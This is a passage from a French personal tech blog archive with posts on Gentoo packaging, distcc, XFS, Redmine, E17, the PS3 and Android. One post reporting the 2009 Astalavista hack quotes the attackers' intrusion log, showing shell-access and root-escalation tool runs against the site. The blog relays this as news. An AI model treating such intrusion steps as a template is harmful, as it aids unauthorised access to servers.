Côté jeux, celui qui va valoir le coup ce mois ci c’est Heavy Rain, une création à la croisée des chemins entre jeu vidéo et film interactif. Loin du FPS, loin d’être une succession de scène entrecoupées de choix, on est toujours manette en main en train de jouer son personnage, l’histoire est interessante. Un jeu à tester tant il promet d’être une belle expérience narrative.

Merci les gars de quantic dream

Mise à jour du serveur jabber

Thu, 17 Dec 2009 12:41:55 +0000

Petit downtime d’une minute hier avec 2 coupures du serveur jabber pour la mise à jour vers la dernière version stable.

La passerelle MSN et webprésence sont toujours dispo 🙂

Ma vie avec mon HTC hero sous Android

Mon, 12 Oct 2009 16:04:04 +0000

J’ai enfin abandonné le monde des téléphones mobile classique pour un smartphone ultra communiquant. L’heureux élu est le Hero de HTC.

Je ne connais pas l’interface classique d’Android, mais le duo Android + Sense (la surcouche d’HTC) est vraiment agréable à utiliser. J’étais un peu dérouté au début par l’utilisation du bouton menu pour accéder aux paramètres des applications et le bouton de retour, mais au bout d’un ou deux jour, on s’y fait.

Il n’y a pas de possibilité de synchronisation avec un mac à l’heure actuelle, à priori ce sera bientôt possible. On peut synchroniser le Hero sous Windows via le logiciel fourni HTC sync ou sur internet via le service gmail et google contact.

Il y à encore quelques problèmes a ce niveau, l’import de mes contacts sur simcard vers Google n’a pas fonctionné et les groupes standard (Famille, Amis etc) de Google contact ne sont pas descendus sur le mobile.

Malgré sont jeune age, l’Android market (équivalent de l’Appstore d’Apple) est plutôt bien fourni en applications, un peu moins en jeux.

Voici quelques applications très utiles que j’utilise depuis quelques jours :

Astro : Navigateur de fichiers très complet et ergonomique
Car mode : Permet de forcer le mode haut parleur en lançant l’appli, pratique quand on est en voiture.
DaraIRC : Client IRC pratique, permet d’enregistrer serveur et channel.
G2Android : Tout simplement une application géniale qui permet d’uploader rapidement ses photos sur sa gallery.
ixMAT Scanner : Scanner de code bar, permet de lancer des recherches sur le net ou de telecharger une application simplement depuis le market.
Jabiru : Client Jabber, la ressource, priorité, status sont réglables.
KeepWiFi : Permet d’empecher la désactivation du WiFi lors de la veille.
Layar : Cette appli permet de mapper une carte sur l’image captée par la caméra, ca permet de trouver rapidement le métro le plus proche grâce a la réalité augmentée.
Locale : On défini un point de localisation, un périmetre et des actions associées (activer le wifi en arrivant a la maison, passer en vibreur au bureau, changer le fond d’ecran etc)
Metal Detector : Sans conteste l’application la plus utile. Un détecteur de métal !
Parallel Kingdom : C’est un jeu ou le terrain est sa propre ville. La position de son joueur dépend de celle de son téléphone mobile sur google maps.
Ringdroid : Cette application rend la création de sonneries et alertes très simple à partir de ses mp3 stockés sur la carte SD.

Coté autonomie, en jouant avec le GPS et le WIFI, ca tient une journée, en utilisation normale, 2 ou 3 jours. C’est dans le moyenne des smartphones actuels.

En presque une semaine d’utilisation, je suis pleinement satisfait de ce téléphone, par contre, un téléphone de ce type n’a d’intérêt qu’avec internet illimité… option qui coute tout de même 12€/mois chez orange 🙁

Quelle application pour gerer ses bookmarks ?

Wed, 07 Oct 2009 01:04:36 +0000

Ces jours ci je tatonne pour trouver un moyen efficace de gerer mes signets. A l’heure actuelle j’utilise plusieurs ordinateurs, je me débrouillais de facon un peu empirique et pas vraiment efficace pour retrouver mes signets partout. Je vais m’équiper de mon premier smartphone demain et je sens deja que ce sera le browser de trop si je ne trouve pas de solution à cette histoire de signets :p.

Voici les contraintes. L’outil doit être assez souple et permettre d’acceder à mes marques pages depuis plusieurs machines et/ou plusieurs navigateurs.

J’ai d’abord testé le système de bookmark de google.. bilan:

Liste complete accessible via toolbar
Possibilité de passer par http://www.google.com/bookmarks/
Gestion des tags
Import/export

Je ne suis pas fan de laisser mes données être hebergées on ne sait ou. Je me suis alors mis en quête d’un outil de gestion de signet administrable de mon coté. Je suis vite tombé sur Scuttle. Scuttle est un outil simple utilisant php/sql pour gerer les signets.

Je passe sur l’installation qui est assez simple, voici mes impressions:

Pas de toolbar mais un javascript dispo à mettre dans son browser pour marquer rapidement une page
Possibilité de passer par le web
Gestion des tags
Import/export plus fourni que celui de google, on peut importer depuis del.icio.us. Néanmoins mon importation n’a pas pu récuperer mes tags.
Possibilité de rendre les liens public/privés (je n’ai pas vu cette option chez google)
Une extension pour firefox est téléchargeable pour marquer rapidement les liens

Pour conclure, je vais rester sur Scuttle, plus simple à gerer, on en maitrise l’hébergement. Certes, ça oblige à acceder à une page web pour voir ses bookmarks mais on y gagne en souplesse quand on oscille regulierement entre différents ordinateurs. L’interface est sobre et agréable à l’oeil, récurée à l’AJAX. Scuttle c’est bon mangez en 🙂

Gentoo à 10 ans!

Mon, 05 Oct 2009 19:30:38 +0000

Hier, Gentoo fêtait ses 10ans!

Les profils 10.0 sont sortis en desktop, server etc.

Pour moi ça fait 6 ans d’utilisation de Gentoo… 6ans de compilation, d’expérimentations, de serveur X qui ne démarre plus, de chroot pour remettre la machine en état, une migration de pam vers shadow qui donne des suées, 6 ans de partage sur irc, d’énervement parfois, de contentement d’avoir trouvé une solution souvent 🙂

J’en profite pour adresser 6 ans de merci à la communauté Gentoo!

thank you guys !

Dis maman les p'tits motards ont ils des jambes ?

Thu, 30 Jul 2009 12:25:06 +0000

Surtout, surtout, ne jamais doubler une femme qui souhaite changer de file.

Jeudi 23, le matin, temps clair, la moto rutilante, plein phare pour remonter la file de voiture presque à l’arrêt, à l’heure pour être au travail, une femme avec une envie de faire demi tour sur la route bloquée par le trafic, manque d’attention, route trop étroite, la voiture, freinage vain et paf superman, attérissage sur le casque (ouf), moto en épave.

C’est beau un capot vue du ciel… Heureusement que ma visière était propre, j’ai pu ne rien manquer du vol et de mon atterrissage face à terre.

Pas d’os brisé, mais de la tôle et du plastique… je m’en serai passé. Une moto de collection en moins, ca fera un peu de moins de pollution, qu’importe la taxe carbone pourvu qu’on ait l’ivresse…
… j’ai désaoulé.

2 jours seulement d’arrêt de travail grâce au médecin de l’hôpital, c’est pas moi qui vais agrandir le trou de la sécu 🙂

E17 s'approche encore de la release

Mon, 13 Jul 2009 15:53:07 +0000

Non ce n’est pas un vaporware! ;)

D’ailleurs les dev sont actuellement en train de se concentrer sur la stabilisation des EFL dont certaines sont déjà sortie en version stable. La TODO list est accessible ici.

Enlightenment DR17 est utilisable sur desktop et embarqué. Des snapshot sont fait régulièrement sont téléchargeables ici.

Ci dessous les EFL déjà sorties en version finale:
EET v1.2.1: bibliothèque légère et rapide permettant de creer des archives
EWL v0.5.3: bibliothèque de widget themable

Eina (bibliothèque de data type) devrait sortir en version 1.0.0 durant le mois de juillet, une fois que la documentation sera à jour.

Rumeur de faille dans openssh

Thu, 09 Jul 2009 16:15:38 +0000

Une rumeur court à propos d’une faille inconnue dans le serveur OpenSSH.

Il est pour le moment conseillé de mettre à jour sa version d’openssh et de surveiller les updates.

La faille n’est pour le moment pas révélée, donc aucun fix n’existe à l’heure actuelle. Des machines ont été compromises… même si on ne sait pas si c’est lié a cette rumeur mieux vaut être vigilant… stay tuned 🙂

http://isc.sans.org/diary.html?storyid=6742

edith: Visiblement il s’agit d’un hoax. Quoi qu’il arrive il faut être attentif à la sécurité de son serveur ssh.

Je vais bientôt écrire trois lettres

Wed, 17 Jun 2009 13:09:38 +0000

D’ici quelques temps, ce sera à mon tour de glisser mes trois lettres dans le tiroir et ceder ma place 🙂

Pour les non anglophones, voici une traduction libre à l’arrache :

Quand j’ai été recruté dans le département informatique d’une grande société, j’ai trouvé 3 lettres laissées par mon prédécesseur dans ce bureau qui était maintenant le mien. Chaque lettre était clairement identifiée, Incident #1, Incident #2, Incident #3. Un post-it était collé au dessus des lettres:

En cas d’incident grave, ouvrez les lettres dans l’ordre, une par incident. Ca vous aidera à faire face.

J’ai reposé les lettres dans le tiroir, puis les y ai oublié.
Environ un an après, nous avons eu une série d’incidents qui ont rendu notre intranet et certains serveurs critique de la production injoignables. Pendant que je réparais l’incident, je me suis souvenu des lettres. Curieux, j’ai ouvert la première.

Blâme moi, ton prédécesseur.

Le jour suivant, les serveurs remis en route, mon patron m’a convoqué dans son bureau pour expliquer la raison et la durée de l’incident. Suivant le conseil de la lettre, j’ai blâmé mon prédécesseur, mon patron était satisfait de ma réponse, et je suis parti.

Six mois plus tard, nous avons eu un nouvel incident. Cette fois, notre serveur de base de donnée principal à planté et le serveur secondaire n’arrivait pas à prendre la charge. J’ai du faire quelques heures supplémentaires pour les remettre d’aplomb mais nous avons perdu quelques transactions à cause du serveur de sauvegarde qui ne fonctionnait pas à cause de la charge.

Uns fois de plus, je vais ouvrir mon tiroir et ouvre la seconde lettre.

Blâme le matériel

Cette fois, j’explique que ce n’est pas de ma faute, c’est le serveur de sauvegarde! Si nous avions eu un matériel performant, rien de tout cela ne serait arrivé. Il etait satisfait de ma réponse, et je suis retourné travailler.
La vie à continué paisiblement pendant les 18 mois suivants. Nous avons eu un virus qui à passé nos protections et ravagé nos systèmes.
J’ai ouvert la troisième lettre.

Ecrivez trois lettres.

Stlit tellol clouuuuuu

Mon, 08 Jun 2009 14:25:30 +0000

Combo moto japonaises et musique rap Polonais.

Il y a des MB et des MBX, ces gens ont du gout :-D

Desproges ce héros

Sun, 07 Jun 2009 12:22:37 +0000

Je recèle en moi des réserves d’ennui pratiquement inépuisables. Je suis capable de m’ennuyer pendant des heures sans me faire chier.

Pierre Desproges

Astalavista piraté

Sat, 06 Jun 2009 01:07:11 +0000

Astalavista.com et .net ont été piraté il a quelques heures. Voici la raison invoquée:

Other than the fact that they are not doing any of this for the
« community » but
for the money, they spread exploits for kids, claim to be a
security community
(with no real sense of security on their own servers), and they
charge you $6.66
per months to access a dead forum with a directory filled with
public releases
and outdated / broken services.

We wanted to see how good that « team of security and IT
professionals » really is.

Voici ce qu’on peut lire en haut de la page d’accueil mise sur le site pris pour cible et qui à été envoyé par mail sur une ML traitant de sécurité :

[+] Founded in 1997 by a hacker computer enthusiast
[-] Exposed in 2009 by anti-sec group

Les choses débutent ainsi :

Let’s begin.

anti-sec:~# ./g0tshell astalavista.com -p 80
[+] Connecting to astalavista.com:80
[+] Grabbing banner…
LiteSpeed
[+] Injecting shellcode…
[-] Wait for it

[~] We g0tshell
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5
#1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
ID: uid=100(apache) gid=500(apache) groups=500(apache)

2 morceaux choisis :

sh-3.2$ ./g0troot -i x86_64
[+] g0troot – anti.sec.labs
[+] Target: 2.6.18-128.1.10.el5
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]

[+] r00tr00t
[~] Executing shell…
sh-3.2# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his
milw0rm ripping script(s)
…and the others, find another area to get paid from, security
isn’t for sale and you obviously fail at it.

Comme le mail est très long je ne le copierai pas en entier ici, il est lisible sur plusieurs archives. C’est très verbeux et détaillé, bonne lecture à ceux qui veulent.

C'est le jour de l'imposition

Fri, 05 Jun 2009 19:34:36 +0000

A qui faut il envoyer un formulaire pour être prévenu des changements dans son calendrier ?
Quand sommes nous autorisés à disposer de nous même ?

Je suis toujours sidéré de voir à quel point on à finalement peu de choix :-)

C’est une folie de vouloir l’impossible ; or il est bien impossible de toujours empêcher les méchants de faire ce qu’ils font.

Marc-Aurèle Pensées pour moi-même Livre 5

Migration de trac vers redmine ?

Tue, 26 May 2009 01:00:42 +0000

Redmine est l’outil de gestion de projet concurrent de trac qui monte qui monte.
C’est une application qui utilise le framework RoR. J’ai voulu le tester et pour cela, j’ai importé les données du trac que j’utilise.

aptitude install rubygems rake libmysql-ruby libopenssl-ruby libsqlite3-ruby

libmysql est nécessaire à Redmine pour utiliser mysql, sqlite3 pour faire l’import de trac. Voici à quoi ressemble la migration de trac vers Redmine, l’outil fonctionne sans problème.

$ rake redmine:migrate_from_trac RAILS_ENV="production
WARNING: a new project will be added to Redmine during this process.
Are you sure you want to continue ? [y/N] Y
Trac directory []: /home/trac/blahblah/
Trac database adapter (sqlite, sqlite3, mysql, postgresql) [sqlite]: sqlite3
Trac database encoding [UTF-8]:
Target project identifier []: blahblah
This project already exists in your Redmine database.
Are you sure you want to append data to this project ? [Y/n] y
Migrating components
Migrating milestones
Migrating custom fields
Migrating tickets
Migrating wiki

Tout est présent, les utilisateurs sont fonctionnels. Après un rapide tour du propriétaire, voici mes premières impressions sur Redmine :

Supporte nativement multiprojets
Il permet d’utiliser un forum, joindre des documents par projet
Il se comporte comme un client svn distant et n’a pas besoin d’avoir accès au FS comme trac
Interface d’administration très complete
Diagramme de Gantt automatique

Test de la démo d'Infamous sur PS3

Mon, 18 May 2009 20:12:36 +0000

Grâce aux ouf guedin du jeu vidéo j’ai pu gagner un code pour télécharger la démo d’Infamous.

La démo sera officiellement disponible le 21 mai sur le Playstation Network et le jeu complet à partir du 27 mai.

Dans une ville dévastée par un cataclysme et un virus, en quarantaine, livrée aux bandes, on incarne Cole qui détient des super pouvoir d’éléctricité 🙂
La démo nous permet d’aller dans le vif du sujet sans perdre de temps. On escorte un train jusqu’a bon port, on détruit des camion remplis de poison et on sauve un chateau d’eau.

Cole peut grimper à peu près partout, à la manière de Spiderman. Le pouvoir de planer dans les air permet seulement de réduire la vitesse de sa chute, cela donne bien la sensation de n’etre qu’un humain. On peut attaquer soit au corps à corps, soit avec ses pouvoirs éléctriques. Dans la ville, il y à de nombreuses sources d’energies, celles ci peuvent servir à Cole pour remplir sa reserve d’éléctricité et de santé.

Le jeu est assez aliasé et certains ennemis sont plutôt coriaces. Quand Cole meurt, on revient au dernier checkpoint, heureusement ils sont assez nombreux ce qui évite trop de frustrations.

En conclusion, le jeux est plutpot beau bien qu’aliasé, les doublages sont de bonne qualité, l’ambiance de la ville est très particuliere et colle bien à l’histoire. Esperons que le scénario tiendra la route car il y a de quoi faire.

emerge world sur gentoo millésime

Mon, 18 May 2009 19:32:45 +0000

Il y à quelques jours j’ai entrepris de réutiliser ma machine de stockage. Une gentoo laissée à l’abandon depuis plusieurs mois (année?) m’y attendait.

A ma grande suprise la mise à jour s’est très bien passée… sauf pour xorg. Comme à l’acoutumée les grosses mises à jour de xorg se font dans la douleur.

Depuis xorg 1.5 la gestion du couple clavier/souris est laissée à HAL par defaut. C’est la raison pour laquelle malgrès mon xorg.conf, X s’obstinait à mapper mon clavier en qwerty ce qui ne m’arrange pas vraiment.

HAL n’a pas inventé la poudre, il faut donc lui signifier la configuration voulue pour le clavier.
cp /usr/share/hal/fdi/policy/10osvendor/10-keymap.fdi /etc/hal/fdi/policy/

Ensuite, éditer la ligne du input.xkb.layout et mettre la valeur souhaitée.

restart de HAL, X and voila 🙂

MediaTomb comme serveur DLNA pour la ps3

Sat, 02 May 2009 13:42:33 +0000

Installer linux sur sa ps3 pour émuler de vieilles consoles et lires des fichiers exotiques c’est bien, utiliser ses fonctions DLNA pour acceder à toute sa mediathèque c’est mieux 🙂

J’ai installé MediaTomb sous gentoo, un simple emerge mediatomb suffit, suivi d’un rc-update add mediatomb default pour ne plus avoir à y penser.

L’interface d’admin est accesible sur http://localhost:49142 par defaut.

Il suffit ensuite d’ajouter les repertoires que l’on veut a la DB de MediaTomb et le tour est joué. musique, videos et photos sont directement accessible depuis le ps3!

Pour le firmware 2.7 de la playstation, il y à une petite finesse expliquée dans la FAQ.

Attention nénmoins a la consomation mémoire lors d’ajout de répertoire chargés en vidéos.

yellow dog 6.1 sur ps3

Fri, 01 May 2009 11:20:32 +0000

Hop,

J’ai voulu tester la distribution qui est sensée supporter au mieux la ps3 out of the box. Il s’agit de Yellow Dog Linux, un DVD spécial PS3 est disponible sur les mirroirs, elle utilisé enlightenment DR17 comme Desktop Shell par défaut et si mémoire est bonne, est capable d’utiliser la mémoire du RSX comme de la RAM.
Le DVD de YDL 6.1 dans la console, on choisi la résolution souhaitée pour l’installation et c’est parti.

Rien de bien inhabituel a l’horizon, l’installeur est simple et plutot joli, il propose meme de s’abonner au service premier pour benefier pleinement de la distro.

L’installation est très guidée et la portée de tous, tout s’est bien passé, j’ai néanmoins relevé quelques points noirs:

Malgrès spécifié de ne pas installer gnome et les programmes connexe, j’ai eu droit a certains
Le build d’E17 est assez ancien
Malgrès la configuration du clavier dans l’installeur, le clavier etait US sous X
Très peu de paquets disponibles de base, les codecs videos sont payants et l’accès aux repository supplémentaires necessite un compte premium

L’interêt d’installer linux sur sa PS3 étant déjà limité, on comprend mal pourquoi certains codecs videos sont facturés 14€.
Pour ajouter des paquets avec un peu de souplesse, il faut jongler entre repository fedora, centOS et non officiels, la j’ai pu installer émulateur, mplayer, claws-mail et d’autres paquets non inclus dans le repos de base de YDL.

Quand j’aurai un peu plus de temps, je testerai surement gentoo dont la flexibilité sera apréciable pour ce type de hardware.

megaman 2 le retour

Thu, 19 Mar 2009 12:02:38 +0000

Peut etre une idée de soundtrack pour mégaman 10 ? 🙂

riposte graduée toi même !

Mon, 02 Mar 2009 23:55:40 +0000

D-Pad Hero, le jeu musical pour NES

Sat, 07 Feb 2009 22:58:47 +0000

Pour les fan de jeux musicaux, inutile d’acheter les dernières consoles pour se prendre pour une superstar de la musique sur guitar hero ou rock band.

ça éxiste pour NES et c’est disponible par là 🙂

4 chansons sont disponibles pour le moment:

Sweet Child o’ Mine de gun’s and roses
The Way You Make Me Feel de Michael Jackson
The Swing of Things de Scoundrel Days

Passage à ejabberd 2.0.3

Tue, 03 Feb 2009 17:11:24 +0000

Le serveur jabber passe sur cette version qui corrige pas mal de bug en même temps qu’il change de machine 🙂

Si toi aussi tu veux etre beau grand et fort: par ici la bonne soupe.

la tête d'oeuf refuse le background !

Tue, 03 Feb 2009 17:01:28 +0000

La migration vers les VM Xen toutes fraiches continue.

kasimir, notre eggdrop d’amour fait son récalcitrant. Lancé en foreground, il se connecte correctement au serveur mais pas en mode background… gênant pour un bot irc 🙂

Heureusement, la solution est expliquée ici. Il faut patcher et compiler avec l’option –enable-tcl-threadsmake et roulez jeunesse.

Pour ceux qui utilisent le paquet eggdrop debian le patch est deja intégré à testing.
(oui, le bug date de plusieurs mois, et alors ?)

Mais ils sont fous ces debianeux

Tue, 03 Feb 2009 02:58:10 +0000

Released when it’s done 😀

Les disques dur qui vont sur l'eau ont ils des jambes?

Mon, 02 Feb 2009 14:32:40 +0000

Il y a 15 jours, un des disque dur du serveur hebergeant le site a rendu l’âme. J’ai décidé de profiter de cette mésaventure pour changer de serveur et jouer avec Xen.

La plus grande partie est maintenant migrée. Le wiki ne répondant plus au besoins et subissant trop de spam, le site réapparait sous forme d’un blog. Certaines pages du wiki ne seront pas reprises ici, c’est l’occasion d’un dépoussiérage.

ebuild pour tinyproxy 1.7.0

Sun, 14 Dec 2008 04:29:13 +0000

J’ai voulu testé tinyproxy 1.7.0 qui intègre la fonction de reverse proxy. Cette version n’est pas dans portage donc j’ai mis à jour l’ebuild de la version 1.6 pour installer proprement cette version de dev..

Cet ebuild est à placer dans un overlay. La création d’un overlay est expliquée dans un précédent billet.

Installer Enlightenment DR 17 depuis les sources

Sat, 29 Nov 2008 19:18:00 +0000

Enlightenment DR 17 bouge beaucoup ces temps ci.

Après la migration vers le SVN tout neuf, la réorganisation du dépot et le peaufinage des bibliothèques EFL core, les ebuilds de l’overlay enlightenment de gentoo ne fonctionnent plus.

Ci dessous un rapide mémo pour l’installation d’e17 et entrance. Checkout pour e17:

svn co http://svn.enlightenment.org/svn/e/trunk/eina
svn co http://svn.enlightenment.org/svn/e/trunk/eet
svn co http://svn.enlightenment.org/svn/e/trunk/evas
svn co http://svn.enlightenment.org/svn/e/trunk/ecore
svn co http://svn.enlightenment.org/svn/e/trunk/efreet
svn co http://svn.enlightenment.org/svn/e/trunk/embryo
svn co http://svn.enlightenment.org/svn/e/trunk/edje
svn co http://svn.enlightenment.org/svn/e/trunk/e_dbus

Pour entrance:

svn co http://svn.enlightenment.org/svn/e/trunk/esmart
svn co http://svn.enlightenment.org/svn/e/trunk/entrance

Pour la compilation des libs c’est toujours pareil :
./autogen.sh && make && make install (en root)

L’ordre de compilation est bien sur important 🙂
Comme d’habitude le path d’installation par defaut est /usr/local/, si vous voulez l’installer ailleurs il faudra le specifier à autogen.

sys-libs/ss (is blocking sys-libs/e2fsprogs-libs-1.41.2)

Wed, 29 Oct 2008 01:06:51 +0000

Enfer et damnation !

Calculating world dependencies... done!
[ebuild     U ] sys-fs/e2fsprogs-1.41.2 [1.40.9] USE="nls (-static%)" 4,263 kB
[ebuild  N    ] sys-libs/e2fsprogs-libs-1.41.2  USE="nls" 479 kB
[blocks B     ] sys-libs/ss (is blocking sys-libs/e2fsprogs-libs-1.41.2)
[blocks B     ] <sys-fs/e2fsprogs-1.41 (is blocking sys-libs/e2fsprogs-libs-1.41.2)
[blocks B     ] sys-libs/com_err (is blocking sys-libs/e2fsprogs-libs-1.41.2)
[blocks B     ] sys-libs/e2fsprogs-libs (is blocking sys-libs/ss-1.40.9, sys-libs/com_err-1.40.9)

Portage a décidé de me faire mon vilain! Mieux vaut ne pas unmerger à la sauvage ces libs vitales pour le systeme.

Dès lors, deux solutions:

contournement brutal voire commentaire 7 sur le bug ouvert chez gentoo
attendre que la version 2.1.5 passe en stable dans le portage tree

Distcc sur gentoo

Sat, 18 Oct 2008 02:22:35 +0000

Introduction

Distcc est très pratique voire indispensable sur des systèmes comme Gentoo où le temps passer à compiler peut être important. Distcc permet de faire de la compilation distribuée, c’est a dire que nous allons répartir les taches de compilations sur plusieurs machines afin d’en partager la peine 🙂

Prérequis

Pour que Distcc fonctionne bien nous aurons besoin des memes versions de GCC partout.
Distcc est capable de faire de la crosscompilation mais on ne traitera pas ça ici. Je suis sur x86 uniquement.

Installation et configuration

Pour le monitoring on utilisera le USE gtk

emerge -av distcc

Si les machines utilisant distcc sont 10.0.0.1 et 10.0.0.2 La configuration suivante s’applique sur la machine 10.0.0.1 dans /etc/distcc/hosts

10.0.0.2 localhost

On fera l’inverse sur l’autre machine

Dans le make.conf il faut dire à portage d’utiliser distcc:

DISTCC_HOSTS="10.0.0.2 localhost"
# on indique d'utiliser distcc, ici nous utilisons deja ccache donc on le met avant, c'est important
FEATURES="ccache distcc"`

Ne pas oublier de mettre à jour le l’option -j pour GCC sur le paramètre MAKEOPTS.

On lance le service maintenant et pour les prochains boot.

`/etc/init.d/distcc start && rc-update add distcc default`

Voila c’est fini o/  
Pour avoir un gain de temps vraiment réel il faut aussi utiliser ccache.

syslog-ng, gentoo hardened et cron :)

Mon, 06 Oct 2008 21:51:13 +0000

Je me suis retrouvé sur Gentoo hardened avec quelque chose d’un peu gênant… les logs de vixie-cron dans le /var/log/message, le /var/log/debug et le /var/log/cron.log. Sympa, mais un poil redondant. Cela ne concerne que Gentoo hardened qui dispose d’un fichier de conf spécifique pour syslog-ng.

Pour que cron logue seulement dans son ficher, il suffit d’exclure les logs cron des fichiers debug et message:

filter f_messages { level(info..warn)
and not facility(auth, authpriv, mail, news, cron); };
destination messages { file(« /var/log/messages »); };
log { source(src); filter(f\_messages); destination(messages); };

Même punition pour le fichier de debug and voila.

XFS mon amour :)

Fri, 12 Sep 2008 09:05:37 +0000

Ci dessous, un bloc note sur l’utilisation de XFS.

Vérification du Filesystem

Pour verifier la consistence du Systeme de fichier, on utilise conjointement deux programmes xfs_check et xfs_repair.

xfs_check /dev/device
xfs_repair -n /dev/device

xfs_repair -n fait un test un peu plus complet que xfs_check

Réparation du Filesystem

Pour réparer des inconsitences du FS on pourra utiliser xfs_repair et ceci toujours sur un device démonté 🙂
xfs_repair /dev/device

Fragmentation

Au bout de quelques années d’utilisation il se peut qu’un système de fichiers se fragmente un peu, surtout si la partition est presque pleine et qu’il y a des mouvements de fichiers réguliers.

XFS intègre des outils pour défragmenter ses partitions à chaud.
Cet outil magique se trouve dans le package xfsdump dans lequel on trouvera aussi les outils de backup et restore.

emerge -av xfsdump

Nous allons ensuite verifier le taux de fractionnement de notre partition.

xfs_db -r /dev/hda1
xfs_db> frag
actual 452654, ideal 450929, fragmentation factor 0.38%
xfs_db>

Visiblement L’utilisation de Gentoo en ~x86 sur mon portable pendant plusieurs années n’a pas fait suffisament souffir XFS 🙂

Dans le cas ou nous aurions besoin de défragmenter on pourra utiliser la commande suivante:
xfs_fsr -v /dev/hda1

Packaging Gentoo

Sat, 30 Aug 2008 00:46:36 +0000

Packaging Gentoo

Portage et le système d’ebuild de Gentoo sont des outils très puissants et flexibles, mais un peu obscur à utiliser au départ pour qui veut faire son package. Voyons comment s’y prendre.
Première étape, il faut définir un overlay si ce n’est déjà fait. Pour rappel, l’overlay consiste en un dossier parallèle au dossier /usr/portage qui constitue en fait une extension de la base de données des paquets. Il est alors possible de rajouter ses propres paquets dans cet overlay, pour notamment y mettre des ebuilds de version de test ou tout simplement de logiciel non encore présent dans Portage.

Création de l’overlay

Rien de plus simple :

On créé un répertoire pour stocker l’overlay.
mkdir /usr/local/portage

Ensuite il suffit d’éditer le fichier /etc/make.conf et d’y ajouter cette ligne.
PORTDIR_OVERLAY="/usr/local/portage"

Voila, l’overlay est défini.

Création d’un ebuild

Avant toute chose, il faut savoir que votre ebuild doit avoir un nom précis, et être dans un dossier précis (on rapelle que l’overlay doit avoir la même structure que Portage).
Votre ebuild doit donc être dans un de ces dossiers (que vous créerez dans le dossier de l’overlay pour l’occasion si ce n’est déjà fait) :

app-accessibility  
app-admin  
app-antivirus  
app-arch  
app-backup  
app-benchmarks  
app-cdr  
app-crypt  
app-dicts  
app-doc  
app-editors  
app-emacs  
app-emulation  
app-forensics  
app-i18n  
app-laptop  
app-misc  
app-mobilephone  
app-office  
app-pda  
app-portage  
app-shells  
app-text  
app-vim  
app-xemacs  
dev-ada  
dev-cpp  
dev-db  
dev-dotnet  
dev-embedded  
dev-games  
dev-haskell  
dev-java  
dev-lang  
dev-libs  
dev-lisp  
dev-ml  
dev-perl  
dev-php  
dev-php4  
dev-php5  
dev-python  
dev-ruby  
dev-scheme  
dev-tcltk  
dev-tex  
dev-tinyos  
dev-util  
games-action  
games-arcade  
games-board  
games-emulation  
games-engines  
games-fps  
games-kids  
games-misc  
games-mud  
games-puzzle  
games-roguelike  
games-rpg  
games-server  
games-simulation  
games-sports  
games-strategy  
games-util  
gnome-base  
gnome-extra  
gnustep-apps  
gnustep-base  
gnustep-libs  
kde-base  
kde-misc  
mail-client  
mail-filter  
mail-mta  
media-fonts  
media-gfx  
media-libs  
media-plugins  
media-radio  
media-sound  
media-tv  
media-video  
net-analyzer  
net-dialup  
net-dns  
net-firewall  
net-fs  
net-ftp  
net-im  
net-irc  
net-libs  
net-mail  
net-misc  
net-nds  
net-news  
net-nntp  
net-p2p  
net-print  
net-proxy  
net-wireless  
net-www  
net-zope  
perl-core  
rox-base  
rox-extra  
sci-astronomy  
sci-biology  
sci-calculators  
sci-chemistry  
sci-electronics  
sci-geosciences  
sci-libs  
sci-mathematics  
sci-misc  
sci-visualization  
sys-apps  
sys-auth  
sys-block  
sys-boot  
sys-cluster  
sys-devel  
sys-fs  
sys-kernel  
sys-libs  
sys-power  
sys-process  
www-apache  
www-apps  
www-client  
www-misc  
www-servers  
x11-apps  
x11-base  
x11-drivers  
x11-libs  
x11-misc  
x11-plugins  
x11-proto  
x11-terms  
x11-themes  
x11-wm  
xfce-base  
xfce-extra

L’ebuild basique : il télécharge, décompresse, configure, compile et installe une archive de source.
L’ebuild est nommé de la manière suivante : nom_du_soft-version.ebuild et est stocké dans /usr/local/portage/dossier-correspondant-au-type-de-l’application (voir juste au dessus)/nom_du_soft/

N’oubliez pas de créer aussi le répertoire /usr/local/portage/app-portage/clean-distfiles/files qui sert à stocker tous les digest

Décortiquons l’ebuild d’aMule 2.1.0 par exemple. Il s’appelle logiquement amule-2.1.0-r1.ebuild.
L’entête standard

# Copyright 1999-2006 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-p2p/amule/amule-2.1.0-r1.ebuild,v 1.1 2006/01/13 11:18:44 mkay Exp $

L’ebuild va utiliser des fonctions des ces classes
inherit eutils flag-o-matic wxwidgets

Définition de quelques variables par praticité. Emerge définit un certains nombre de variables lui même, comme par exemple ${PV} qui donne directement la version du paquets selon le nom de l’ebuild. Pratique pour mettre à jour un paquet juste en renommant l’ebuild.

MY_P=${P/m/M}
S=${WORKDIR}/${MY_P}

Le description du paquet.
DESCRIPTION="aMule, the all-platform eMule p2p client"

La homepage du paquet.
HOMEPAGE="http://www.amule.org/"

L’url de téléchargement. On remarque l’utilisation de variable, ce qui rend l’ebuild plus « dynamique ».
SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.bz2"

La licence du soft.
LICENSE="GPL-2"

Le slot d’installation. Cela permet d’installer parallèlement plusieurs versions du même paquets (surtout utiliser pour certaines librairies, ou pour les kernel).
SLOT="0"

Les keywords du paquets.
KEYWORDS="~alpha ~amd64 ~ppc ~ppc64 ~sparc ~x86"

Définit les flags USE auquels l’ebuild peut réagir.
IUSE="amuled debug gtk nls remote stats unicode"

Définition des dépendances du paquets.

aMule dépend donc de wxGTK, de zlib et ce, inconditionnellement. Par contre, il dépend de gd si le flag USE « stats » est utilisé. De même pour libpng avec le flag USE « remote ». Pour finir, aMule ne peut pas être installé en même temps que xmule (provoquera une erreur « ebuild blocked by another ».

DEPEND=">=x11-libs/wxGTK-2.6.0
>=sys-libs/zlib-1.2.1
stats? ( >=media-libs/gd-2.0.26 )
remote? ( >=media-libs/libpng-1.2.0 )
!net-p2p/xmule"

L’étape de configuration. Elle est utilisée pour vérifier que les paramètres ne comporte pas d’erreur. La fonction « use » est utilisé pour savoir un flag USE est défini ou non.

pkg_setup() {
		export WX_GTK_VER="2.6"

